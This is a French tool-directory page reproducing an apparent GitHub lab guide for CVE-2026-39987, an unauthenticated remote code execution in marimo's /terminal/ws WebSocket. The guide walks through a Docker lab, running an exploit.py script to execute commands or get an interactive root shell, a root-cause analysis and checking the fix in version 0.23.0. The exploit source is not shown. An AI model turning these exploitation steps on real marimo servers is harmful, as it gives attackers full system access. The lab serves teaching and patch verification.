Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-39987-lab-or-marimo-cve-lab — # Laboratoire Docker pédagogique démontrant CVE-2026-39987, une RCE sans authentification via contournement de l'authentification WebSocket dans marimo, avec script d'exploitation et étapes de vérification du correctif. | Kitploit
Outils/GitHubGitHub/dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHub

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab

CVE-2026-39987-lab-or-marimo-cve-lab

# Laboratoire Docker pédagogique démontrant CVE-2026-39987, une RCE sans authentification via contournement de l'authentification WebSocket dans marimo, avec script d'exploitation et étapes de vérification du correctif.

Voir le dépôt
il y a 4 moisPas encore vérifié
Partager

Guide du laboratoire CVE-2026-39987

Exécution de code à distance avant authentification via contournement de l'authentification WebSocket du terminal

Un laboratoire Docker pédagogique pour comprendre, reproduire et corriger cette vulnérabilité critique dans marimo.


Table des matières

  • Vue d'ensemble
  • Architecture
  • Démarrage rapide
  • Procédure pas à pas
    • Étape 1 : Construire et démarrer le laboratoire
    • Étape 2 : Confirmer que l'authentification est active
    • Étape 3 : Exécuter l'exploit
    • Étape 4 : Comprendre le contournement
    • Étape 5 : Vérification du correctif
  • Dépannage
  • Nettoyage
  • Références

Vue d'ensemble

Ciblemarimo <= 0.20.4 exécuté en mode edit avec authentification par jeton activée
AttaquantTout hôte avec Python 3 et websocket-client
ObjectifObtenir un shell racine interactif via /terminal/ws sans fournir de jeton d'authentification
TypeContournement d'authentification → Exécution de code à distance (RCE)
Correctifmarimo >= 0.23.0

⚠️ Usage éthique uniquement : Ce laboratoire est conçu pour les chercheurs en sécurité, les développeurs et les étudiants afin de comprendre comment les vulnérabilités de contournement d'authentification surviennent et comment les corriger correctement. À exécuter uniquement dans des environnements isolés.


Architecture

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                        Docker Network                         │
│                        (cve-lab)                              │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (Target)           │      │   (Attacker)         │   │
│   │   Port: 2718         │      │   Python 3.12        │   │
│   │   Auth: Token        │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Fichiers de ce laboratoire :

FichierRôle
Dockerfile.targetConstruit le serveur marimo vulnérable
docker-compose.yml

Démarrage rapide

root@kitploit:~
# Cloner le dépôt
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# Démarrer le laboratoire
docker-compose up --build -d

# Exécuter l'exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# Obtenir un shell interactif
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Procédure pas à pas

Étape 1 : Construire et démarrer le laboratoire

root@kitploit:~
# Créer un répertoire de travail et placer ces fichiers à l'intérieur :
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# Construire et démarrer la cible
docker-compose up --build -d

# Vérifier que la cible est en cours d'exécution
docker ps
# Vous devriez voir : marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

Ce qui se passe :

  • Docker construit un conteneur avec marimo 0.20.4 (version vulnérable)
  • Le serveur démarre en mode edit avec l'authentification --token explicitement activée
  • Le port 2718 est exposé sur votre hôte

Étape 2 : Confirmer que l'authentification est active

Avant d'exploiter, vérifions que la cible est correctement protégée sur les points de terminaison légitimes :

root@kitploit:~
# Essayer d'ouvrir l'interface principale dans un navigateur ou via curl
curl -s http://127.0.0.1:2718/
# Attendu : Redirection vers la page de connexion ou 401/403 (jeton requis)

# Essayer le WebSocket principal (/ws) sans jeton
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Attendu : Connexion rejetée ou fermée immédiatement en raison de l'authentification manquante

Observation clé : Les points de terminaison principaux de l'application appliquent correctement l'authentification. La vulnérabilité réside dans un point de terminaison secondaire qui a été négligé.


Étape 3 : Exécuter l'exploit

Option A — Exécution d'une commande unique

root@kitploit:~
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

Sortie attendue :

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

Option B — Shell interactif

root@kitploit:~
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

Vous obtiendrez une invite $ où vous pourrez exécuter des commandes système arbitraires :

root@kitploit:~
[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

Étape 4 : Comprendre le contournement

Pourquoi cela fonctionne-t-il ?

La vulnérabilité existe en raison d'un contrôle d'authentification incohérent entre les points de terminaison WebSocket :

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  Authentication Middleware (Starlette)                          │
│  ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│  └── Does NOT automatically close WebSocket connections         │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (Main)     │          │ /terminal/ws     │
    │                  │          │ (Terminal)       │
    │  ✓ validate_auth()│          │  ✗ NO auth check │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  Rejects unauth  │          │  ✓ Accepts immediately│
    └──────────────────┘          └──────────────────┘

Analyse de la cause racine

  1. Middleware d'authentification (Starlette AuthenticationMiddleware) marque les connexions non authentifiées comme UnauthenticatedUser mais ne ferme pas automatiquement les connexions WebSocket.

  2. Points de terminaison corrects (par exemple, /ws) appellent validate_auth() ou utilisent @requires("edit"), rejetant les clients non authentifiés.

  3. Point de terminaison vulnérable (/terminal/ws) vérifie uniquement :

    • SessionMode.EDIT — garantit que le serveur est en mode édition
    • supports_terminal() — garantit que la fonctionnalité terminal est disponible
    • ...puis appelle immédiatement await websocket.accept() sans aucun contrôle d'authentification.
  4. Impact : pty.fork() génère un shell PTY complet s'exécutant en tant qu'utilisateur du serveur (root dans l'image Docker par défaut), donnant à l'attaquant un accès système complet.

Le correctif (marimo >= 0.23.0)

Le correctif ajoute une validation d'authentification appropriée au point de terminaison /terminal/ws, garantissant qu'il correspond à la posture de sécurité des autres points de terminaison.


Étape 5 : Vérification du correctif

Mettez à niveau la cible vers la version corrigée et réexécutez l'exploit pour confirmer le correctif :

root@kitploit:~
# Modifier Dockerfile.target : remplacer marimo==0.20.4 par marimo==0.23.0
# Ou utiliser : sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# Réessayer l'exploit
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

Attendu après le correctif :

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required

La connexion est désormais rejetée/fermée immédiatement ; aucun shell n'est obtenu. ✅


Dépannage


Nettoyage

root@kitploit:~
# Arrêter et supprimer les conteneurs
docker-compose down -v

# Supprimer l'image construite
docker rmi cve-lab_target

# Nettoyer les images orphelines
docker image prune -f

Références

  • Avis de sécurité GitHub : https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • PR du correctif : https://github.com/marimo-team/marimo/pull/9098
  • Enregistrement CVE : https://cveawg.mitre.org/api/cve/CVE-2026-39987
  • Documentation marimo : https://docs.marimo.io

Conçu à des fins pédagogiques. À utiliser de manière responsable. 🔒

Télécharger l’outil
Orchestre les conteneurs cible et attaquant
exploit.pyScript d'exploit PoC (commande unique + mode interactif)
LAB_GUIDE.mdCe guide
ProblèmeSolution
Connection refusedAssurez-vous que le conteneur est en cours d'exécution : docker ps et vérifiez les journaux avec docker logs marimo-vulnerable
ModuleNotFoundError: No module named 'websocket'Installez le client : pip install websocket-client
Aucune sortie de l'exploitAugmentez le délai d'attente : python exploit.py ... --timeout 20
Le conteneur se ferme immédiatementVérifiez la syntaxe du Dockerfile et assurez-vous que le notebook test.py est créé correctement
Permission refuséeAssurez-vous que le démon Docker est en cours d'exécution et que vous disposez des autorisations appropriées